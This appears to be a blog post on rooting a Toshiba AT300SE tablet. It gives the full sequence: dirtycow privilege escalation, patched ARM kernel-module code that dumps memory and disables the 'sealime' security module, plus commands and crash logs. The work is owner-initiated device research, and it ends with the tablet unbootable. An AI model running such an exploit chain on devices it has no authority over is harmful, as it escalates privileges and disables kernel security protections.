Rooting the Toshiba AT300SE

User PM128 with an AT300SE asked on the XDA forums for help with rooting their tablet, which might be similar to the Pro I did before.

And indeed, the same method works. Unfortunately, the kernel is a different version, so we had to shuffle files back and forth for a while, but the strategy remains:

1. Obtain temporary root by replacing /system/bin/debuggerd and /system/bin/netd with a shell script. (Don't forget to first backup the originals to /data/local/tmp/{debuggerd,netd}.orig)

2. Grab /system/lib/modules/gps_drv.ko for patching

3. Disable kernel address protection and dump symbols

4. Write code to call print_hex_dump on register_sealime (+ register_extra_hook which comes right after)

.macro mov32, reg, val
    movw \reg, #:lower16:\val
    movt \reg, #:upper16:\val
.endm

init_module:
	push  {r4,lr}
	sub   sp, sp, #20

	adr   r0, KERN_ERR
	adr   r1, PREFIX
	mov   r2, #1  // DUMP_PREFIX_ADDRESS
	mov   r3, #16 // rowsize
	mov   r4, #1
        str   r4, [sp] // groupsize
	mov32 r4, 0xc02145c4 // register_sealime
	str   r4, [sp, #4] // buf
	mov32 r4, 0x100
	str   r4, [sp, #8] // len
	mov   r4, #1
	str   r4, [sp, #12] // ascii

	mov32 r4, 0xc0252878 // print_hex_dump
	blx   r4

	mov   r0, #-43
	add   sp, sp, #20
	pop   {r4,pc}

KERN_ERR:
	.asciz "<3>"

PREFIX:
	.asciz "glomus"

5. Assemble for arm and patch the resulting code into the .init.text section of the original gps_drv.ko

% readelf -a gps_drv.ko
...
  [ 3] .init.text        PROGBITS        00000000 000a84 0000fc 00  AX  0   0  4
  [ 4] .rel.init.text    REL             00000000 01ca6c 000080 08     51   3  4
...
% cp gps_drv.ko dump_memory.ko
% dd bs=1 count=128 skip=52 seek=2692 if=dump_memory.bin of=dump_memory.ko conv=notrunc

6. Kill gps_drv.ko's original relocation entries (so the code stays intact during loading) by setting the .rel.init.text section length to zero.

% readelf -a gps_drv.ko
...
  Start of section headers:          114180 (bytes into file)
...
% # Either guess the offset or note it's 40 bytes per section header as per ELF spec
% dd bs=1 count=1 skip=0 seek=114360 if=/dev/zero of=dump_memory.ko conv=notrunc
% readelf -a dump_memory.ko
  [ 4] .rel.init.text    REL             00000000 01ca6c 000000 08     51   3  4

7. dirtycow the dump_memory.ko over gps_drv.ko

root@tostab:/data/local/tmp # ./dirtycow dump_memory.ko /system/lib/modules/gps_drv.ko

8. Insmod the new "GPS driver"

root@tostab:/data/local/tmp # insmod /system/lib/modules/gps_drv.ko
insmod: init_module '/system/lib/modules/gps_drv.ko' failed (Identifier removed)

9. Grab register_sealime instruction dump from dmesg

glomusc02145c4: 00 40 2d e9 00 40 bd e8 58 37 0f e3 a0 30 4c e3  .@-..@..X7...0L.
glomusc02145d4: 00 00 83 e5 00 00 a0 e3 1e ff 2f e1 00 40 2d e9  ........../..@-.
glomusc02145e4: 00 40 bd e8 58 37 0f e3 a0 30 4c e3 04 00 83 e5  .@..X7...0L.....
glomusc02145f4: 00 00 a0 e3 1e ff 2f e1 f0 45 2d e9 0c d0 4d e2  ....../..E-...M.
glomusc0214604: 00 40 2d e9 00 40 bd e8 78 40 9f e5 00 60 a0 e1  .@-..@..x@...`..
glomusc0214614: 01 70 a0 e1 02 50 a0 e1 03 80 a0 e1 00 c0 94 e5  .p...P..........
glomusc0214624: 28 a0 9d e5 00 00 5c e3 12 00 00 0a 00 a0 8d e5  (.....\.........
glomusc0214634: a4 c1 9c e5 3c ff 2f e1 01 00 70 e3 0b 00 00 0a  ....<./...p.....
glomusc0214644: 04 30 94 e5 00 00 53 e3 08 00 00 0a a4 c1 93 e5  .0....S.........
glomusc0214654: 00 00 5c e3 05 00 00 0a 00 a0 8d e5 06 00 a0 e1  ..\.............
glomusc0214664: 07 10 a0 e1 05 20 a0 e1 08 30 a0 e1 3c ff 2f e1  ..... ...0..<./.
glomusc0214674: 0c d0 8d e2 f0 85 bd e8 02 30 a0 e1 00 a0 8d e5  .........0......
glomusc0214684: cd fc ff eb eb ff ff ea 58 f7 a0 c0 f8 4f 2d e9  ........X....O-.
glomusc0214694: 00 40 2d e9 00 40 bd e8 00 50 a0 e1 c4 60 9f e5  .@-..@...P...`..
glomusc02146a4: 01 90 a0 e1 00 00 96 e5 00 00 50 e3 02 00 00 0a  ..........P.....
glomusc02146b4: 10 00 80 e2 84 c9 00 eb 00 00 96 e5 00 40 90 e5  .............@..

10. Beautify, unhex and disassemble the dump

% cat > register_sealime.dump
00000000: 00 40 2d e9 00 40 bd e8 58 37 0f e3 a0 30 4c e3  .@-..@..X7...0L.
00000010: 00 00 83 e5 00 00 a0 e3 1e ff 2f e1 00 40 2d e9  ........../..@-.
00000020: 00 40 bd e8 58 37 0f e3 a0 30 4c e3 04 00 83 e5  .@..X7...0L.....
00000030: 00 00 a0 e3 1e ff 2f e1 f0 45 2d e9 0c d0 4d e2  ....../..E-...M.
00000040: 00 40 2d e9 00 40 bd e8 78 40 9f e5 00 60 a0 e1  .@-..@..x@...`..
00000050: 01 70 a0 e1 02 50 a0 e1 03 80 a0 e1 00 c0 94 e5  .p...P..........
00000060: 28 a0 9d e5 00 00 5c e3 12 00 00 0a 00 a0 8d e5  (.....\.........
00000070: a4 c1 9c e5 3c ff 2f e1 01 00 70 e3 0b 00 00 0a  ....<./...p.....
00000080: 04 30 94 e5 00 00 53 e3 08 00 00 0a a4 c1 93 e5  .0....S.........
00000090: 00 00 5c e3 05 00 00 0a 00 a0 8d e5 06 00 a0 e1  ..\.............
000000A0: 07 10 a0 e1 05 20 a0 e1 08 30 a0 e1 3c ff 2f e1  ..... ...0..<./.
000000B0: 0c d0 8d e2 f0 85 bd e8 02 30 a0 e1 00 a0 8d e5  .........0......
000000C0: cd fc ff eb eb ff ff ea 58 f7 a0 c0 f8 4f 2d e9  ........X....O-.
000000D0: 00 40 2d e9 00 40 bd e8 00 50 a0 e1 c4 60 9f e5  .@-..@...P...`..
000000E0: 01 90 a0 e1 00 00 96 e5 00 00 50 e3 02 00 00 0a  ..........P.....
000000F0: 10 00 80 e2 84 c9 00 eb 00 00 96 e5 00 40 90 e5  .............@..
% xxd -r register_sealime.dump > register_sealime
% objdump -D -b binary -m arm_any register_sealime
register_sealime:     file format binary


Disassembly of section .data:

00000000 <.data>:
   0:   e92d4000        stmfd   sp!, {lr}
   4:   e8bd4000        ldmfd   sp!, {lr}
   8:   e30f3758        movw    r3, #63320      ; 0xf758
   c:   e34c30a0        movt    r3, #49312      ; 0xc0a0
  10:   e5830000        str     r0, [r3]
  14:   e3a00000        mov     r0, #0
  18:   e12fff1e        bx      lr
  1c:   e92d4000        stmfd   sp!, {lr}
  20:   e8bd4000        ldmfd   sp!, {lr}
  24:   e30f3758        movw    r3, #63320      ; 0xf758
  28:   e34c30a0        movt    r3, #49312      ; 0xc0a0
  2c:   e5830004        str     r0, [r3, #4]
  30:   e3a00000        mov     r0, #0
  34:   e12fff1e        bx      lr
...

11. Write code to unregister sealime:

.macro mov32, reg, val
    movw \reg, #:lower16:\val
    movt \reg, #:upper16:\val
.endm

init_module:
 push  {lr}
 
 mov   r0, #0
 mov32 r1, 0xc0a0f758
 str   r0, [r1]
 str   r0, [r1, #4]
 
 mov   r0, #-43
 pop   {pc}

12. Assemble and patch into gps_drv.ko as before

% cp gps_drv.ko glomus.ko
% dd bs=1 count=128 skip=52 seek=2692 if=glomus.bin of=glomus.ko conv=notrunc
% dd bs=1 count=1 skip=0 seek=114360 if=/dev/zero of=glomus.ko conv=notrunc

13. Dirtycow and insmod

root@tostab:/data/local/tmp # ./dirtycow glomus.ko /system/lib/modules/gps_drv.ko
root@tostab:/data/local/tmp # insmod /system/lib/modules/gps_drv.ko
insmod: init_module '/system/lib/modules/gps_drv.ko' failed (Identifier removed)
root@tostab:/data/local/tmp # mount -o remount,rw /system

... and only a few seconds later ... the tablet hangs.

With some more debugging, this is due to

<1>[  949.984048] Unable to handle kernel NULL pointer dereference at virtual address 00000000
<1>[  949.997201] pgd = c0004000
<1>[  950.005097] [00000000] *pgd=00000000
<0>[  950.011027] Internal error: Oops: 17 [#1] PREEMPT SMP
<4>[  950.016647] Modules linked in: bcmdhd cfg80211 sealime(P)
<4>[  950.025202] CPU: 0    Tainted: P             (3.1.10-g9ebfa32 #1)
<4>[  950.031900] PC is at jbd2_journal_file_inode+0x3c/0x11c
<4>[  950.038178] LR is at mpage_da_map_and_submit+0x3d0/0x548
<4>[  950.044073] pc : [<c01d6c88>]    lr : [<c01982d8>]    psr: 60000153
<4>[  950.044117] sp : dcc55ce8  ip : effe2400  fp : dcc54000
<4>[  950.057121] r10: e41d03c8  r9 : 00000000  r8 : 00000000
<4>[  950.063354] r7 : 00000026  r6 : e65cd400  r5 : 00000000  r4 : cf5c3b00
<4>[  950.070446] r3 : 00000000  r2 : 00000800  r1 : 00000000  r0 : 00000000
<4>[  950.078010] Flags: nZCv  IRQs on  FIQs off  Mode SVC_32  ISA ARM  Segment kernel
<4>[  950.085980] Control: 10c5387d  Table: a5b5404a  DAC: 00000015
<4>[  950.092722] 
<4>[  950.092740] PC: 0xc01d6c08:
<4>[  950.098065] 6c08  e5953004 e2433001 e5853004 e5953000 e3130002 1a000008 e5943000 e3130601
<4>[  950.112035] 6c28  1afffffc e5953004 e2833001 e5853004 eaffffd9 eb113066 eaffffeb eb113064
<4>[  950.125541] 6c48  eafffff4 e92d40f8 e92d4000 e8bd4000 e1a05001 e5d03010 e5904000 e2033004
<4>[  950.139050] 6c68  e6ef3073 e5946000 e3530000 13e00004 18bd80f8 e5960000 e2100002 1a000034
<4>[  950.152977] 6c88  e5913000 e1530004 08bd80f8 e5913004 e1530004 08bd80f8 e2867e22 e1a00007
<4>[  950.166923] 6ca8  eb113984 e5953000 e1530004 0a000010 e5952004 e1520004 0a00000d e5941080
<4>[  950.180881] 6cc8  e3510000 03a03001 05843080 05953000 05952004 e3530000 0a000009 e3520000
<4>[  950.194330] 6ce8  1a000015 e596203c e1520003 05854004 1a00000e e1a00007 eb113823 e3a00000
<4>[  950.208272] 
<4>[  950.208290] LR: 0xc0198258:
<4>[  950.213621] 8258  e2888001 eb02a949 e1a00007 ebfcfb4f e1590008 1affffea e28dc068 e59d2028
<4>[  950.227557] 8278  e08c9109 e3520000 e519303c e5937008 e2877001 1a000002 e1540007 2affffcc
<4>[  950.241495] 8298  eaffff77 e28d0028 ebfd2897 eafffff9 e5131044 e3110901 1affff4a e5922044
<4>[  950.255405] 82b8  e2022b03 e3520b02 1affff46 e35a0a01 3affff44 e5931168 e1a0000a eb00fa5c
<4>[  950.268926] 82d8  e3500000 05953000 1affff67 eaffff3d e595c010 e1a00004 e5913028 e1cd80f0
<4>[  950.282863] 82f8  e591e058 e59f2120 e59f1120 e1a0ce3c e58d700c e58dc008 eb004c40 e1a00004
<4>[  950.296769] 8318  e59f1108 e59f2108 eb004c3c e377001c 15951000 1affffa0 e5954000 e594301c
<4>[  950.310202] 8338  e1a00003 e59361d4 ebffd552 e1a02000 e1a03001 e59f00dc eb12168d e59f00d8
<4>[  950.324161] 
<4>[  950.324179] SP: 0xdcc55c68:
<4>[  950.329961] 5c68  0000003f dcc55c84 00000000 dcc55e68 dcc55c84 00000000 00000000 c0624afc
<4>[  950.343422] 5c88  dcc54000 c01d6c88 60000153 ffffffff dcc55cd4 c000e798 00000000 00000000
<4>[  950.357315] 5ca8  00000800 00000000 cf5c3b00 00000000 e65cd400 00000026 00000000 00000000
<4>[  950.371211] 5cc8  e41d03c8 dcc54000 effe2400 dcc55ce8 c01982d8 c01d6c88 60000153 ffffffff
<4>[  950.384672] 5ce8  e4242b70 e4242b70 dcc55dd0 00008000 00000026 c01982d8 ffffffff dcc55dcc
<4>[  950.398617] 5d08  00000000 e4242c48 000085c0 00000000 00000000 00000026 00000020 00000000
<4>[  950.412541] 5d28  c0e46c00 c0e4b5d4 c12a35b4 c0e3733c c0cf4d40 c0e54448 c0e3ffdc c0d04ba4
<4>[  950.426462] 5d48  c0e5d424 c0e4ec64 c0d8e58c c0e3f64c c0e1eac0 c0d96b00 e65cdda4 e4242b70
<4>[  950.439974] 
<4>[  950.439993] IP: 0xeffe2380:
<4>[  950.445760] 2380  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>[  950.459154] 23a0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>[  950.473060] 23c0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>[  950.486960] 23e0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>[  950.500886] 2400  0000c860 00031ffc 00000000 0000a84e 0000c1b6 00000000 00000002 00000002
<4>[  950.514393] 2420  00008000 00008000 00001ca0 62c89ec6 55cb09a8 ffff0006 0001ef53 00000002
<4>[  950.528333] 2440  00000000 00000000 00000000 00000001 00000000 0000000b 00000100 00000014
<4>[  950.542296] 2460  00000046 00000003 bcf4f857 5f65f4ab 6f9467bf 5bf2f9c0 00000000 00000000
<4>[  950.556219] 
<4>[  950.556238] FP: 0xdcc53f80:
<4>[  950.561557] 3f80  2b007813 88b3d109 4282105a 1c10da01 1040e000 84281900 6afb8c2c d505009b
<4>[  950.575497] 3fa0  00438870 dc01428b e0002001 234b2000 683b5558 0f9b009b 22200098 632a4302
<4>[  950.589017] 3fc0  68034816 d0002b00 2b002301 3040d003 42888800 4811d309 2b006803 2301d000
<4>[  950.602956] 3fe0  d0052b00 42888c80 1a09d202 8c698469 d901428c 842b1a63 bdf0b002 1ea046c0
<4>[  950.616899] 4000  00000000 00000002 00000000 e51b3aa0 c0944b10 00000000 00000015 e51b3aa0
<4>[  950.630814] 4020  c15134a0 e614e8e0 dcc54000 efea3d28 ef85e080 00000000 dcc55a9c dcc559e8
<4>[  950.644294] 4040  c06227a8 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>[  950.657747] 4060  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>[  950.671632] 
<4>[  950.671651] R4: 0xcf5c3a80:
<4>[  950.676972] 3a80  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>[  950.690906] 3aa0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>[  950.704845] 3ac0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>[  950.718318] 3ae0  c00a4ce4 00000000 cf5c3ae8 cf5c3ae8 c00a8ee8 ffffffff ffffffff ffffffff
<4>[  950.731784] 3b00  e65cd400 00000101 00000000 00000000 00000000 00000000 00000000 00000000
<4>[  950.745694] 3b20  00000000 00000000 00000000 00000000 00000000 cf5c3b34 cf5c3b34 00000000
<4>[  950.759186] 3b40  00000000 00000000 0000fda9 00000000 00000000 00000000 00000000 00000001
<4>[  950.773099] 3b60  00000008 00000000 00000000 0000ff9d 0af25ca2 000000dd 00000001 00000000
<4>[  950.787017] 
<4>[  950.787036] R6: 0xe65cd380:
<4>[  950.792356] d380  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>[  950.805811] d3a0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>[  950.819730] d3c0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>[  950.833241] d3e0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<4>[  950.847212] d400  00000038 00000000 ef5289c8 effd9000 00000002 00000000 00000000 00000000
<4>[  950.861157] d420  00000001 00000000 00000000 e65cd42c e65cd42c 00000000 cf5c3b00 00000000
<4>[  950.875058] d440  00000000 00000000 00000000 e65cd44c e65cd44c 00000000 00000000 e65cd45c
<4>[  950.888568] d460  e65cd45c 00000000 00000000 e65cd46c e65cd46c 00000000 00000000 e65cd47c
<4>[  950.902469] 
<4>[  950.902488] R10: 0xe41d0348:
<4>[  950.907894] 0348  e41c4f70 e22bccb6 00000012 e41d035c 00000000 646c694d 6c41796c 696d7261
<4>[  950.921796] 0368  6f2e676e ff006767 ff7fffff fffffeff ffffffff ffdffbff 00000000 00000000
<4>[  950.935717] 0388  00000000 00000000 e65cdc00 ffffffff 00000000 e41d039c e41d039c e41d031c
<4>[  950.949673] 03a8  c01225f4 e41d03ac e41d03ac e41d03b4 e41d03b4 fffbebfb 00000070 00000004
<4>[  950.963197] 03c8  cf5c3b00 00000008 00000001 00000000 00000000 e41d03e4 00000000 4564694d
<4>[  950.977097] 03e8  4a6c6976 746e7561 67676f2e ffffff00 ffffffff ffffffff ffffffff ffffd9ff
<4>[  950.991034] 0408  00000000 00000000 00000000 00000000 e65cdc00 ffbffff7 00000000 e41d0424
<4>[  951.004970] 0428  e41d0424 e41d03a4 c01225f4 e41d0434 e41d0434 e41d043c e41d043c fffffb8f
<0>[  951.018485] Process flush-179:0 (pid: 304, stack limit = 0xdcc542f0)
<0>[  951.025859] Stack: (0xdcc55ce8 to 0xdcc56000)
<0>[  951.030804] 5ce0:                   e4242b70 e4242b70 dcc55dd0 00008000 00000026 c01982d8
<0>[  951.040039] 5d00: ffffffff dcc55dcc 00000000 e4242c48 000085c0 00000000 00000000 00000026
<0>[  951.049282] 5d20: 00000020 00000000 c0e46c00 c0e4b5d4 c12a35b4 c0e3733c c0cf4d40 c0e54448
<0>[  951.058070] 5d40: c0e3ffdc c0d04ba4 c0e5d424 c0e4ec64 c0d8e58c c0e3f64c c0e1eac0 c0d96b00
<0>[  951.067304] 5d60: e65cdda4 e4242b70 e4242b70 00000000 00008000 00000000 dcc55e68 e41d03c8
<0>[  951.076533] 5d80: 00000001 c0198bf8 00002000 c004dd2c ffffffe2 c08f14a0 e4242c48 00000000
<0>[  951.085760] 5da0: 00000000 00000000 e65cd80

Hm, is the file-system actually broken?

root@android:/data/local/tmp # dd if=/dev/block/platform/sdhci-tegra.3/by-name/APP of=/data/local/tmp/system.img
[... some adb pull omitted ...]
/tmp % /sbin/e2fsck -fn system.img | wc -l
e2fsck 1.45.4 (23-Sep-2019)
2281838

Uh.

Or is it just the kernel doing dumb things because of the page-cache hackery?

root@android:/data/local/tmp # echo 50000 > /proc/sys/vm/dirty_writeback_centiseconds

Yes, that "fixes" (aka arbitrarily delays) the crash.

Unfortunately, further experiments trying to do unholy things to /system ended in /system/bin/netd being non-executable and the tablet un-bootable. Anyone needs replacement parts (excl. CPU board) for AT300SE?